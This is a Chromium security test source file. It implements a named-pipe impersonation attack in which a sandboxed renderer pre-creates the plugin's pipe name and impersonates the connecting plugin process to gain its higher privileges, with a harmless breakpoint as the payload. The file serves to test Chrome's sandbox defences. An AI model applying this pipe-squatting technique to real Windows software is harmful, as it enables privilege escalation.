Home | History | Annotate | Download | only in security_tests
      1 // Copyright (c) 2006-2008 The Chromium Authors. All rights reserved.
      2 // Use of this source code is governed by a BSD-style license that can be
      3 // found in the LICENSE file.
      4 
      5 #include <windows.h>
      6 #include <string>
      7 #include <sstream>
      8 
      9 #include "chrome/test/security_tests/ipc_security_tests.h"
     10 
     11 namespace {
     12 
     13 // Debug output messages prefix.
     14 const char kODSMgPrefix[] = "[security] ";
     15 // Format of the Chrome browser pipe for plugins.
     16 const wchar_t kChromePluginPipeFmt[] = L"\\\\.\\pipe\\chrome.%ls.p%d";
     17 // Size for the in/out pipe buffers.
     18 const int kBufferSize = 1024;
     19 
     20 // Define the next symbol if you want to have tracing of errors.
     21 #ifdef PIPE_SECURITY_DBG
     22 // Generic debug output function.
     23 void ODSMessageGLE(const char* txt) {
     24   DWORD gle = ::GetLastError();
     25   std::ostringstream oss;
     26   oss << kODSMgPrefix << txt << " 0x" << std::hex << gle;
     27   ::OutputDebugStringA(oss.str().c_str());
     28 }
     29 #else
     30 void ODSMessageGLE(const char* txt) {
     31 }
     32 #endif
     33 
     34 // Retrieves the renderer pipe name from the command line. Returns true if the
     35 // name was found.
     36 bool PipeNameFromCommandLine(std::wstring* pipe_name) {
     37   std::wstring cl(::GetCommandLineW());
     38   const wchar_t key_name[] = L"--channel";
     39   std::wstring::size_type pos = cl.find(key_name, 0);
     40   if (std::wstring::npos == pos) {
     41     return false;
     42   }
     43   pos = cl.find(L"=", pos);
     44   if (std::wstring::npos == pos) {
     45     return false;
     46   }
     47   ++pos;
     48   size_t dst = cl.length() - pos;
     49   if (dst <4) {
     50     return false;
     51   }
     52   for (; dst != 0; --dst) {
     53     if (!isspace(cl[pos])) {
     54       break;
     55     }
     56     ++pos;
     57   }
     58   if (0 == dst) {
     59     return false;
     60   }
     61   std::wstring::size_type pos2 = pos;
     62   for (; dst != 0; --dst) {
     63     if (isspace(cl[pos2])) {
     64       break;
     65     }
     66     ++pos2;
     67   }
     68   *pipe_name = cl.substr(pos, pos2);
     69   return true;
     70 }
     71 
     72 // Extracts the browser process id and the channel id given the renderer
     73 // pipe name.
     74 bool InfoFromPipeName(const std::wstring& pipe_name, std::wstring* parent_id,
     75                       std::wstring* channel_id) {
     76   std::wstring::size_type pos = pipe_name.find(L".", 0);
     77   if (std::wstring::npos == pos) {
     78     return false;
     79   }
     80   *parent_id = pipe_name.substr(0, pos);
     81   *channel_id = pipe_name.substr(pos + 1);
     82   return true;
     83 }
     84 
     85 // Creates a server pipe, in byte mode.
     86 HANDLE MakeServerPipeBase(const wchar_t* pipe_name) {
     87   HANDLE pipe = ::CreateNamedPipeW(pipe_name, PIPE_ACCESS_DUPLEX,
     88                                    PIPE_TYPE_BYTE | PIPE_READMODE_BYTE, 3,
     89                                    kBufferSize, kBufferSize, 5000, NULL);
     90   if (INVALID_HANDLE_VALUE == pipe) {
     91     ODSMessageGLE("pipe creation failed");
     92   }
     93   return pipe;
     94 }
     95 
     96 // Creates a chrome plugin server pipe.
     97 HANDLE MakeServerPluginPipe(const std::wstring& prefix, int channel) {
     98   wchar_t pipe_name[MAX_PATH];
     99   swprintf_s(pipe_name, kChromePluginPipeFmt, prefix.c_str(), channel);
    100   return MakeServerPipeBase(pipe_name);
    101 }
    102 
    103 struct Context {
    104   HANDLE pipe;
    105   explicit Context(HANDLE arg_pipe) : pipe(arg_pipe) {
    106   }
    107 };
    108 
    109 // This function is called from a thread that has a security context that is
    110 // higher than the renderer security context. This can be the plugin security
    111 // context or the browser security context.
    112 void DoEvilThings(Context* context) {
    113   // To make the test fail we simply trigger a breakpoint in the renderer.
    114   ::DisconnectNamedPipe(context->pipe);
    115   __debugbreak();
    116 }
    117 
    118 // This is a pipe server thread routine.
    119 DWORD WINAPI PipeServerProc(void* thread_param) {
    120   if (NULL == thread_param) {
    121     return 0;
    122   }
    123   Context* context = static_cast<Context*>(thread_param);
    124   HANDLE server_pipe = context->pipe;
    125 
    126   char buffer[4];
    127   DWORD bytes_read = 0;
    128 
    129   for (;;) {
    130     // The next call blocks until a connection is made.
    131     if (!::ConnectNamedPipe(server_pipe, NULL)) {
    132       if (GetLastError() != ERROR_PIPE_CONNECTED) {
    133         ODSMessageGLE("== connect named pipe failed ==");
    134         continue;
    135       }
    136     }
    137     // return value of ReadFile is unimportant.
    138     ::ReadFile(server_pipe, buffer, 1, &bytes_read, NULL);
    139     if (::ImpersonateNamedPipeClient(server_pipe)) {
    140       ODSMessageGLE("impersonation obtained");
    141       DoEvilThings(context);
    142       break;
    143     } else {
    144       ODSMessageGLE("impersonation failed");
    145     }
    146     ::DisconnectNamedPipe(server_pipe);
    147   }
    148   delete context;
    149   return 0;
    150 }
    151 }   // namespace
    152 
    153 // Implements a pipe impersonation attack resulting on a privilege elevation on
    154 // the chrome pipe-based IPC.
    155 // When a web-page that has a plug-in is loaded, chrome will do the following
    156 // steps:
    157 //   1) Creates a server pipe with name 'chrome.<pid>.p<n>'. Initially n = 1.
    158 //   2) Launches chrome with command line --type=plugin --channel=<pid>.p<n>
    159 //   3) The new (plugin) process connects to the pipe and sends a 'hello'
    160 //      message.
    161 // The attack creates another server pipe with the same name before step one
    162 // so when the plugin connects it connects to the renderer instead. Once the
    163 // connection is acepted and at least a byte is read from the pipe, the
    164 // renderer can impersonate the plugin process which has a more relaxed
    165 // security context (privilege elevation).
    166 //
    167 // Note that the attack can also be peformed after step 1. In this case we need
    168 // another thread which used to connect to the existing server pipe so the
    169 // plugin does not connect to chrome but to our pipe.
    170 bool PipeImpersonationAttack() {
    171   std::wstring pipe_name;
    172   if (!PipeNameFromCommandLine(&pipe_name)) {
    173     return false;
    174   }
    175   std::wstring parent_id;
    176   std::wstring channel_id;
    177   if (!InfoFromPipeName(pipe_name, &parent_id, &channel_id)) {
    178     return false;
    179   }
    180   HANDLE plugin_pipe = MakeServerPluginPipe(parent_id, 1);
    181   if (INVALID_HANDLE_VALUE == plugin_pipe) {
    182     return true;
    183   }
    184 
    185   HANDLE thread = ::CreateThread(NULL, 0, PipeServerProc,
    186                                  new Context(plugin_pipe), 0, NULL);
    187   if (NULL == thread) {
    188     return false;
    189   }
    190   ::CloseHandle(thread);
    191   return true;
    192 }
    193